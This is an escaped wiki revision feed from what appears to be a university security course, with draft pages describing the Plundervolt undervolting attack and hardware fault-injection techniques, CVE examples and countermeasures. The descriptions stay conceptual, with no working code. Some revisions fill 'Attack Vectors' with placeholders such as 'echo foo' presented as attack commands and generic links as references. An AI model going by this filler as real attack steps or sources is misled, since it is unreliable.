&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8981</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8981"/>
		<updated>2021-12-21T22:00:15Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as: &lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code: &lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8978</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8978"/>
		<updated>2021-12-21T21:58:15Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8977</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8977"/>
		<updated>2021-12-21T21:58:01Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
Fault injection can be done using various techniques the most common ones are the following: &lt;br /&gt;
&lt;br /&gt;
# Clock Glitch&lt;br /&gt;
# Voltage Glitch&lt;br /&gt;
# Electromagnetic Glitch &lt;br /&gt;
# Optical Injection &lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn&#039;t require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Secure Boot &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Flash Encryption &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]&lt;br /&gt;
&lt;br /&gt;
=== Gigadevice GD32F130 devices: Debug interface permissions escalation &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== STM32 USB Device Library: Buffer overflow vulnerability exploit &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*  Proper shielding&lt;br /&gt;
&lt;br /&gt;
*  Proper physical hardening of systems and devices&lt;br /&gt;
&lt;br /&gt;
*  Fault detection mechanisms&lt;br /&gt;
&lt;br /&gt;
* Resistance against [[Side Channel Attacks]]&lt;br /&gt;
&lt;br /&gt;
* Redundancy for critical control signals &lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8969</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8969"/>
		<updated>2021-12-21T21:42:40Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
Fault injection can be done using various techniques the most common ones are the following: &lt;br /&gt;
&lt;br /&gt;
# Clock Glitch&lt;br /&gt;
# Voltage Glitch&lt;br /&gt;
# Electromagnetic Glitch &lt;br /&gt;
# Optical Injection &lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn&#039;t require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Secure Boot &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Flash Encryption &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]&lt;br /&gt;
&lt;br /&gt;
=== Gigadevice GD32F130 devices: Debug interface permissions escalation &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== STM32 USB Device Library: Buffer overflow vulnerability exploit &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
- Proper shielding&lt;br /&gt;
&lt;br /&gt;
- Proper physical hardening of systems and devices&lt;br /&gt;
&lt;br /&gt;
- Fault detection mechanisms&lt;br /&gt;
&lt;br /&gt;
- Resistance against [[Side Channel Attacks]]&lt;br /&gt;
&lt;br /&gt;
- Redundancy for critical control signals &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8968</id>
		<title>Fault Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&amp;diff=8968"/>
		<updated>2021-12-21T21:42:25Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attacks&#039;&#039;&#039; are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Fault Injection Attack&#039;&#039;&#039; is a type of a &#039;&#039;&#039;Side-Channel Attack&#039;&#039;&#039;. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.&amp;lt;ref name=&amp;quot;FI&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Techniques ==&lt;br /&gt;
&lt;br /&gt;
Fault injection can be done using various techniques the most common ones are the following: &lt;br /&gt;
&lt;br /&gt;
# Clock Glitch&lt;br /&gt;
# Voltage Glitch&lt;br /&gt;
# Electromagnetic Glitch &lt;br /&gt;
# Optical Injection &lt;br /&gt;
&lt;br /&gt;
=== Clock Glitch ===&lt;br /&gt;
&lt;br /&gt;
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Voltage Glitch ===&lt;br /&gt;
&lt;br /&gt;
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn&#039;t require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Electromagnetic Glitch ===&lt;br /&gt;
&lt;br /&gt;
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Optical Injection ===&lt;br /&gt;
&lt;br /&gt;
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Secure Boot &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Flash Encryption &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
